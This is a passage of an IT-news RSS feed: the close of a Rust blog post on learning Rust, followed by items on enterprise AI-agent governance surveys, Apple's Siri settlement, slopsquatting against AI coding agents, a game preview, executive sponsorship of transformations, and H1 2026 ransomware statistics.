<p>Another survey respondent shared how they had multiple times bounced in trying to learn Rust. They returned after a year or so and found Rustlings to be highly motivating. We note that having multiple pathways for folks to learn Rust opens up more possibilities for those that nearly bounced, just like this person.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#need-more-focused-work-on-silent-attritrion"></a>
Need more focused work on silent attritrion</h4>
<p>The thing that stood out most to us was the lack of real, first-hand knowledge of having bounced when learning Rust. While this is an obvious effect of soliciting answers to our survey and opportunities to interview through Rust channels and our networks, this cohort is good future candidate where interviews could start.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#conclusions"></a>
Conclusions</h3>
<p>Across these conversations, the experience of learning Rust depended heavily on context. Why someone was learning and what support they had mattered as much as the borrow checker. The same kinds of examples kept coming up: a training course that got a team to a shared baseline, a maintainer answering a student's first GitHub issue, and a colleague whose code showed that cloning was okay.</p>
<p>That context is largely something the community has a hand in. With that in mind, here is what we take away from what we heard, and what we still don't know.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#what-seems-worth-trying"></a>
What seems worth trying</h4>
<p><strong>Learning materials aimed at unlearning.</strong> Syntax barely came up when people described their struggles. People struggled with unlearning habits from previous languages, whether OOP structuring from C++ and Java or the instinct to grab a raw pointer to a peripheral. Most of our learning materials teach Rust from first principles, and that works. What we didn't come across is much written for, say, the engineer with ten years of Java who lands on a Rust team after a reorg: material that names the patterns they'll reach for that won't transfer, and shows what to do instead. The professor we spoke with did a version of this in the classroom, leaning on "traits are like interfaces in Java" and saving generics for later in the course, and the students did fine. Something similar could work outside the classroom too.</p>
<p><strong>Put the "clone freely while you're learning" advice somewhere official.</strong> Every experienced developer we spoke with gave the same advice, but learners seem to mostly pick it up by accident, like the researcher who happened to see someone else cloning the struct they had been carefully threading lifetimes through. Saying it early in official materials would take some of the steepness out of the curve. The broader version belongs there too: idiomatic Rust doesn't have to mean optimal Rust, especially on a first project.</p>
<p><strong>Diagnostics are already a primary learning resource: several people told us the compiler taught them lifetimes before any documentation did.</strong> Diagnostics reach learners right at the moment they're stuck. When writing new ones, it seems worth keeping the confused newcomer in mind alongside the expert, because for a lot of people this is where the learning happens.</p>
<p><strong>Is "the book" actually out of date?</strong> Whether or not The Rust Programming Language or other materials are actually behind, a team evaluating Rust looked at its repository, saw unresolved issues and unmerged PRs, and moved on. As more companies evaluate adoption, more people will look at these materials with the same fresh eyes. Visible issue triage and some communication about what's current and what's planned would address the perception, separately from whatever content work may or may not be needed.</p>
<p><strong>How stuck learners get treated is shaping who stays.</strong> We heard about students getting answers on GitHub from the maintainers who wrote the code, and we heard about learners being told their struggles were a skill issue. The first group came away with a lasting good impression of Rust. Some of the second group walked away entirely, and because they leave quietly, it's easy to underestimate how many of them there are. The welcoming side of the community came up unprompted as a reason people stayed, so we know it makes a difference when we get this right.</p>
<p><strong>Every organization we spoke with described essentially the same ramp-up for bringing a team to Rust.</strong> Teams that brought groups of developers to Rust described roughly the same approach: get everyone to a shared baseline with a training course or with The Rust Programming Language and Rustlings, start people on lower-risk tickets, and give them somewhere internal to ask questions. Several organizations also found that hiring developers without Rust experience and ramping them up worked out better than continuing to search for rare expertise in another language. None of this is complicated, and teams weighing adoption don't need to invent a training program from scratch.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#what-we-still-don-t-know"></a>
What we still don't know</h4>
<p>The biggest gap is the people we didn't reach. Nearly everyone we spoke with stuck with Rust long enough to be reachable through Rust channels, so the stories of bouncing off came to us second-hand: a friend who walked away from embedded Rust, colleagues who quietly stopped after the responses they got. As we wrote in <a href="https://blog.rust-lang.org/2025/12/03/lessons-learned-from-the-rust-vision-doc-process/" rel="external">our first post</a>, finding people who decided against Rust takes targeted outreach. If the proposed User Research team comes together, talking with learners who bounced would make a good early project, and learning is probably the area where that research would teach us the most.</p>
<p>We also don't know what to make of LLMs as a learning tool yet. They came up as a search engine, as an example generator, and in one organization's case as something that makes training high school graduates into working Rust developers possible. We saw a classroom where the C cohort leaned on LLMs in ways the Rust cohort couldn't, and we don't have an explanation for it. All of this comes from a handful of conversations, so we treat it as a set of leads to follow up on. Given how quickly the tools are changing, it seems better to study this deliberately than to wait and see what folklore develops.</p>
<p>The folks we spoke with showed that people do get there: with enough passes through the materials and enough code written, it eventually clicks. The opportunities above are mostly about making it work for the people who didn't pick Rust on purpose, and for the ones who would have stuck around if their early experience had gone a little differently.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[VentureBeat Research: Where enterprise AI agent governance hasn't caught up]]></title>
<description><![CDATA[Enterprises deployed AI agents ahead of the controls needed to manage them — and they did it knowingly. That is the central finding across the five parallel surveys VentureBeat Research fielded in June, spanning every layer of the agentic stack. Now those enterprises are retrofitting to catch up ...]]></description>
<link>https://tsecurity.de/de/3692498/it-nachrichten/venturebeat-research-where-enterprise-ai-agent-governance-hasnt-caught-up/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692498/it-nachrichten/venturebeat-research-where-enterprise-ai-agent-governance-hasnt-caught-up/</guid>
<pubDate>Fri, 24 Jul 2026 22:51:31 +0200</pubDate>
<content:encoded><![CDATA[<p>Enterprises deployed AI agents ahead of the controls needed to manage them — and they did it knowingly. That is the central finding across the five parallel surveys VentureBeat Research fielded in June, spanning every layer of the agentic stack. Now those enterprises are retrofitting to catch up with their own standards, and they are budgeting for it: In each of the five control layers we measured, 57 to 68% of enterprises plan to switch vendors or add new ones within 12 months, and roughly a third, depending on the layer, plan to move within the quarter.</p><p><a href="https://venturebeat.com/category/resources">VentureBeat Research</a> measured the five controls an enterprise has to build before it can trust an agent: identity, evaluation, cost telemetry, the context layer, and orchestration. Identity governs which agent is allowed to do what, under whose credentials. Evaluation determines whether the agent's work is any good. Cost telemetry tracks what each agent costs to run. The context layer supplies the business data and definitions agents draw on when they answer. And the orchestration control plane coordinates multi-step agent work. Each of our five reports measures one of those controls.</p><p><b>Most deployed "agents" are chatbots wearing the label.</b> Seventy-one percent of enterprises said a quarter or fewer of their deployed "agents" can complete multi-step work on their own; only 10% said true agents are the majority of what they run. These respondents are positioned to know: 81% recommend or decide AI purchases at their companies. A single-prompt chatbot with a human reading every answer needs none of the controls the other four reports measure. A true multi-step agent needs all of them — and most enterprises can't say which one they've deployed. <i>(Full findings: </i><a href="https://venturebeat.com/resources/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents"><i>Agentic Orchestration report.</i></a><i>)</i></p><p><b>Autonomy is outrunning trust in the evaluations that gate it.</b> Two-thirds of enterprises either already allow an agent to push a code or system change to production on automated evaluation results alone, with no human review, or are actively engineering toward that within 12 months. Only 5% fully trust the evaluations that would make that call — and half of enterprises shipped an agent that passed internal evaluations and then caused a customer-facing failure in the past year. Before removing human review from any workflow, test evaluations against production outcomes rather than internal benchmarks. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway"><i>Agent Reliability &amp; Evals report</i></a><i>.)</i></p><p><b>Companies that let agents share credentials get hit more often.</b> Sixty-nine percent of companies let at least some of their agents share credentials — multiple agents operating under one API key or service account. Organizations that allow credential sharing anywhere experienced a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (nine of 22) at companies where every agent has its own scoped identity. The fix is scoped identity for every agent, starting with the ones that touch production systems. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials"><i>Agentic Security &amp; Identity report</i></a><i>.)</i></p><p><b>The most expensive hardware in the building runs at half capacity or less.</b> More than eight in 10 enterprises that run their own GPUs reported utilization of 50% or less, and only 44% rigorously track what their AI compute actually costs and returns. The number worth chasing first isn't more GPUs — it's the utilization and per-workload cost of the ones already running. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs"><i>AI Infrastructure &amp; Compute report</i></a><i>.)</i></p><p><b>Agents answer confidently from data nobody governs.</b> Fifty-seven percent of enterprises traced a confident, wrong agent answer in the past six months to their own missing or inconsistent business context — wrong metrics, stale definitions, absent documents — and most saw it happen more than once. Governing the definitions agents answer from — metrics and entities first — has to come before scaling the agents that depend on them. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix"><i>Context Layers / RAG report</i></a><i>.)</i></p><p>No layer has an entrenched incumbent: The defaults today are the built-in tools that ship with the big AI platforms enterprises already use. Switching intent runs highest in orchestration itself, where 68% plan to adopt, add, or replace platforms within 12 months and 34% within the quarter. Our surveys did not ask which direction that money moves — toward the platforms' built-in tools or toward the specialists challenging them — and that open question is the next four quarters of this market.</p><hr><p><b>About this research</b> </p><p><a href="https://venturebeat.com/category/resources">VentureBeat Research</a> fielded five parallel surveys in June 2026 under its VB Pulse program: Agentic Orchestration (101 respondents), Agent Reliability &amp; Evals (157), Agentic Security &amp; Identity (107), AI Infrastructure &amp; Compute (107), and Context Layers / RAG (101) — 573 qualified respondents in total, all at organizations with 100 or more employees. Samples are self-selected, and some findings should be read directionally; each report carries its full methodology note. What the pattern supports more strongly than any single percentage is the direction: every survey, independently, points the same way. VentureBeat produces both this research and <a href="https://venturebeat.com/vbtransform2026">VB Transform</a>, the conference where these reports debuted.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Judge approves Apple's $250 million settlement offer over Siri lawsuit]]></title>
<description><![CDATA[A lawsuit over Apple's failure to deliver Apple Intelligence and Siri features is moving closer to a conclusion as a judge has provisionally approved the company's settlement offer.Apple has settled a class-action lawsuit over its delayed Siri features.The class action suit filed in 2025 alleged ...]]></description>
<link>https://tsecurity.de/de/3691966/ios-mac-os/judge-approves-apples-250-million-settlement-offer-over-siri-lawsuit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691966/ios-mac-os/judge-approves-apples-250-million-settlement-offer-over-siri-lawsuit/</guid>
<pubDate>Fri, 24 Jul 2026 17:50:14 +0200</pubDate>
<content:encoded><![CDATA[A lawsuit over Apple's failure to deliver <a href="https://appleinsider.com/inside/apple-intelligence" title="Apple Intelligence" data-kpt="1">Apple Intelligence</a> and Siri features is moving closer to a conclusion as a judge has provisionally approved the company's settlement offer.<br><br><div><img src="https://photos5.appleinsider.com/gallery/67552-142286-66856-140246-Apple-Intelligence-lawsuit-gavel-xl.jpg" alt="Wooden judge's gavel resting on a block, with an Apple logo surrounded by a decorative atomic-style pattern engraved on the gavel head against a neutral gray background"><br><span>Apple has settled a class-action lawsuit over its delayed Siri features.</span></div><br>The class action suit <a href="https://appleinsider.com/articles/25/07/29/apples-delayed-siri-update-spawns-another-securities-lawsuit">filed in 2025</a> alleged that people had bought new <a href="https://appleinsider.com/inside/iphone" title="iPhone" data-kpt="1">iPhones</a> expressly because of Apple's promoting of Apple Intelligence features that it then did not deliver. Apple admitted in March 2025 that the new Siri features <a href="https://appleinsider.com/articles/25/03/07/apple-confirms-that-apple-intelligence-siri-features-are-taking-longer-than-expected">were delayed</a>, but then in May 2025 <a href="https://appleinsider.com/articles/26/05/05/lawsuit-over-delayed-siri-features-reaches-massive-250m-settlement">offered a settlement</a>.<br><br>Apple and the parties to the class action suit agreed to a $250 million settlement, but it had to be approved. Now <a href="https://storage.courtlistener.com/recap/gov.uscourts.cand.446692/gov.uscourts.cand.446692.94.0_1.pdf">in a filing</a> in the US District Court, Northern District of California, judge Noel Wise has provisionally given approval.<br><br><br> <a href="https://appleinsider.com/articles/26/07/24/judge-approves-apples-250-million-settlement-offer-over-siri-lawsuit?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245055?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Slopsquatting, Phantom Domains, and HalluSquatting Are the Same AI Attack]]></title>
<description><![CDATA[Slopsquatting, phantom squatting, and HalluSquatting all exploit the same late-binding attack pattern, where AI coding agents trust hallucinated package, repo, or domain names. ActiveState explains how pre-fetch verification and governed dependency management can help stop these attacks before ma...]]></description>
<link>https://tsecurity.de/de/3691767/it-security-nachrichten/slopsquatting-phantom-domains-and-hallusquatting-are-the-same-ai-attack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691767/it-security-nachrichten/slopsquatting-phantom-domains-and-hallusquatting-are-the-same-ai-attack/</guid>
<pubDate>Fri, 24 Jul 2026 16:10:23 +0200</pubDate>
<content:encoded><![CDATA[Slopsquatting, phantom squatting, and HalluSquatting all exploit the same late-binding attack pattern, where AI coding agents trust hallucinated package, repo, or domain names. ActiveState explains how pre-fetch verification and governed dependency management can help stop these attacks before malicious code enters the pipeline. [...]]]></content:encoded>
</item>
<item>
<title><![CDATA[‘An anthem for the co-dependent’: Bad Magpie’s corvid carnage with a side of existential angst]]></title>
<description><![CDATA[Going by the mantra, if you want to make someone laugh, make them cry first, the game’s developers have created a lonely magpie who fills the void by wreaking havocAmid the gleeful anarchy of Bad Magpie’s debut trailer, there’s a striking note of melancholy. The game’s protagonist – a wounded cor...]]></description>
<link>https://tsecurity.de/de/3691520/it-nachrichten/an-anthem-for-the-co-dependent-bad-magpies-corvid-carnage-with-a-side-of-existential-angst/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691520/it-nachrichten/an-anthem-for-the-co-dependent-bad-magpies-corvid-carnage-with-a-side-of-existential-angst/</guid>
<pubDate>Fri, 24 Jul 2026 14:19:29 +0200</pubDate>
<content:encoded><![CDATA[<p>Going by the mantra, if you want to make someone laugh, make them cry first, the game’s developers have created a lonely magpie who fills the void by wreaking havoc</p><p>Amid the gleeful anarchy of Bad Magpie’s debut trailer, there’s a striking note of melancholy. The game’s protagonist – a wounded corvid that creates havoc wherever she goes – calls out forlornly as a flock of her kind passes above, with a conspicuous gap in their formation.</p><p>Milktooth games designer and co-founder Daisy Fernandez has had this particular image in her head for years. Lying in the grass one afternoon during the 2020 lockdowns, she looked up and saw a V-shaped pattern in the sky, poignantly incomplete. “It really stuck with me,” she says. “I posted about it online and someone told me about a ‘missing man’ formation, which is an aerial salute to a fallen pilot.”</p> <a href="https://www.theguardian.com/games/2026/jul/24/bad-magpie-preview-milktooth">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sponsor mismatch is the silent killer of enterprise transformation]]></title>
<description><![CDATA[Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordin...]]></description>
<link>https://tsecurity.de/de/3691067/it-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691067/it-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</guid>
<pubDate>Fri, 24 Jul 2026 11:03:44 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.</p>



<p class="wp-block-paragraph">The questions were not coming from the delivery teams. They were coming from the executive sponsor.</p>



<p class="wp-block-paragraph">The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.</p>



<p class="wp-block-paragraph">This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.</p>



<p class="wp-block-paragraph">Most program failures are not execution failures. They are sponsor mismatches.</p>



<h2 class="wp-block-heading">When governance becomes a debate about delivery practices</h2>



<p class="wp-block-paragraph">When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.</p>



<p class="wp-block-paragraph">You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.</p>



<p class="wp-block-paragraph">None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.</p>



<p class="wp-block-paragraph">When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.</p>



<p class="wp-block-paragraph">The compounding cost is not unique to any single program. <a href="https://www.pmi.org/blog/why-executive-sponsorship-fuels-projects">PMI’s research on executive sponsorship</a> consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.</p>



<h2 class="wp-block-heading">Authority is rarely the issue. Literacy is</h2>



<p class="wp-block-paragraph">When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?</p>



<p class="wp-block-paragraph">In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.</p>



<p class="wp-block-paragraph">This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.</p>



<p class="wp-block-paragraph"><a href="https://hbr.org/2015/05/how-to-be-an-effective-executive-sponsor">Harvard Business Review’s research on effective executive sponsorship</a> has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.</p>



<p class="wp-block-paragraph"><a href="https://www.prosci.com/resources/articles/change-management-best-practices">Prosci’s longstanding benchmark studies on change management</a> have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.</p>



<h2 class="wp-block-heading">Shift the conversation from delivery practices to business risk</h2>



<p class="wp-block-paragraph">When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.</p>



<p class="wp-block-paragraph">On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.</p>



<p class="wp-block-paragraph">The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.</p>



<p class="wp-block-paragraph">This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.</p>



<p class="wp-block-paragraph">In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.</p>



<p class="wp-block-paragraph">The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.</p>



<p class="wp-block-paragraph">There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:</p>



<h2 class="wp-block-heading">If the decision has to go above the sponsor, they are not the sponsor.</h2>



<p class="wp-block-paragraph">Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.</p>



<p class="wp-block-paragraph">For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.</p>



<p class="wp-block-paragraph">A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[One Country Absorbed Nearly Half of the World’s Ransomware Attacks in Just Six Months – The United States]]></title>
<description><![CDATA[Strip away the geopolitics, the hacktivist noise, and the espionage headlines, and one number from the first half of 2026 stands out above everything else: 1,721. That's how many ransomware attacks hit organizations in the United States between January and June, according to new research from Cyb...]]></description>
<link>https://tsecurity.de/de/3690767/it-security-nachrichten/one-country-absorbed-nearly-half-of-the-worlds-ransomware-attacks-in-just-six-months-the-united-states/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690767/it-security-nachrichten/one-country-absorbed-nearly-half-of-the-worlds-ransomware-attacks-in-just-six-months-the-united-states/</guid>
<pubDate>Fri, 24 Jul 2026 07:42:03 +0200</pubDate>
<content:encoded><![CDATA[<p><img width="800" height="533" src="https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Ransomware Attacks, Qilin, US, Ransomware Attacks on US" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026.webp 800w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026.webp 800w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-750x500.webp 750w" sizes="(max-width: 800px) 100vw, 800px" title="One Country Absorbed Nearly Half of the World's Ransomware Attacks in Just Six Months - The United States 1"></p><p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="3:1-3:473;116-588">Strip away the geopolitics, the hacktivist noise, and the espionage headlines, and one number from the first half of 2026 stands out above everything else: 1,721. That's how many ransomware attacks hit organizations in the United States between January and June, according to new research from <a href="https://cyble.com/resources/research-reports/global-threat-landscape-h1-2026/" target="_blank" rel="noopener">Cyble Research and Intelligence Labs</a> (CRIL). It's not just the highest total of any country tracked in the report — it's more than the next nine most-targeted countries combined.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="5:1-5:375;590-964">Canada, in second place worldwide, recorded 179 attacks. Germany logged 155. The United Kingdom, 138. Add up the rest of the global top 10 — France, Italy, Spain, Thailand, India and Brazil — and the total still falls more than 600 attacks short of the U.S. figure alone. Out of 3,836 <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-ransomware/" target="_blank" rel="noopener" title="ransomware" data-wpil-keyword-link="linked" data-wpil-monitor-id="29106">ransomware</a> attacks CRIL tracked worldwide this half, roughly 45% landed on American soil.</p>

<h5 data-sourcepos="5:1-5:375;590-964">Also read: <a href="https://thecyberexpress.com/fairlife-ransomware-attack/">Fairlife Ransomware Attack Hits Production Systems, U.S. Operations Suspended</a></h5>
<h3 class="font-claude-response-body break-words whitespace-normal" data-sourcepos="7:1-7:39;966-1004"><strong>A Single Region, an Outsized Share</strong></h3>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="9:1-9:434;1006-1439">Widen the lens slightly and the picture holds. North America as a whole recorded 1,981 ransomware attacks in H1 2026 — more than half of every ransomware incident Cyble observed globally — alongside 35 <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29101">data</a> breach and leak incidents and 9 initial access sale listings. The report describes the region as home to "a mature, persistently active RaaS ecosystem operating at high volume across a wide range of industries and geographies."</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="11:1-11:544;1441-1984">Two ransomware-as-a-service operators did much of the damage. Qilin, the single most prolific gang worldwide, claimed 370 of those North American attacks on its own — nearly 19% of the regional total. Akira followed with 268, and INC Ransom added another 164. Together, Qilin and Akira alone accounted for more than half of all recorded ransomware activity across the region, a level of concentration that points to a small number of highly organized affiliate networks doing the bulk of the damage rather than a diffuse swarm of opportunists.</p>

<h5 data-sourcepos="11:1-11:544;1441-1984">Also read: <a href="https://thecyberexpress.com/qilin-ransomware-group-ttps/">Qilin Ransomware Group’s TTPs Examined by Researchers</a></h5>
<h3 class="font-claude-response-body break-words whitespace-normal" data-sourcepos="13:1-13:29;1986-2014"><strong>Where the Pressure Lands</strong></h3>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="15:1-15:705;2016-2720">Professional Services bore the brunt of North American ransomware activity, with INC Ransom showing a marked preference for law firms and other high-value services with sensitive client data. Construction, Manufacturing and Healthcare followed close behind.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="15:1-15:705;2016-2720">One operator, AiLock, stood out for a coordinated wave of victim disclosures that all landed on the same day — March 3 — a pattern consistent with a mass-exploitation campaign rather than isolated intrusions. LockBit, despite years of law enforcement pressure and takedown attempts, kept up a steady tempo against public-sector and educational targets throughout the period, showcasing how difficult the group has been to fully dismantle.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="17:1-17:611;2722-3332">On the <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-a-data-breach/" target="_blank" rel="noopener" title="data breach" data-wpil-keyword-link="linked" data-wpil-monitor-id="29105">data breach</a> side, Technology and financial services (BFSI) were the most frequently targeted sectors in North America, together accounting for roughly 43% of incidents — a reflection of how much intellectual property and monetizable personal data those industries hold.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="17:1-17:611;2722-3332">Notably, Agriculture &amp; Livestock emerged as a significant target for initial access brokers, accounting for a third of all access listings tied to the region. Cyble flags this as a sign of "growing <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-risks-in-cybersecurity/" title="risk" data-wpil-keyword-link="linked" data-wpil-monitor-id="29103">risk</a> in the food supply chain," an area that has historically drawn less attention from ransomware operators than finance or healthcare.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="19:1-19:421;3334-3754">The initial access market itself was strikingly concentrated: two sellers, tracked under the handles "redpin" and "xpl0itrs," accounted for nearly all listings targeting North American organizations. Threat actors also continued to lean on known and zero-day <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="29104">vulnerabilities</a> in widely deployed enterprise platforms — including products from Ivanti and Palo Alto Networks — as their preferred way into corporate networks.</p>

<h3 class="font-claude-response-body break-words whitespace-normal" data-sourcepos="21:1-21:37;3756-3792"><strong>Hacktivism Blurs into Cybercrime</strong></h3>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="23:1-23:647;3794-4440">North America wasn't spared the <a class="wpil_keyword_link" href="https://cyble.com/hacktivism/" target="_blank" rel="noopener" title="hacktivism" data-wpil-keyword-link="linked" data-wpil-monitor-id="29102">hacktivism</a> wave sweeping the rest of the world either. Collectives including SOLDADOS DIGITALES – UNIÓN AMERICANA and LYSTIC TEAM #ID drove roughly 56 <a class="wpil_keyword_link" href="https://cyble.com/general/data-leak/" target="_blank" rel="noopener" title="data leak" data-wpil-keyword-link="linked" data-wpil-monitor-id="29100">data leak</a> or dump posts and touched about 360 unique domains across the region, with Government, Technology, financial services and telecommunications entities most frequently in the crosshairs.</p>
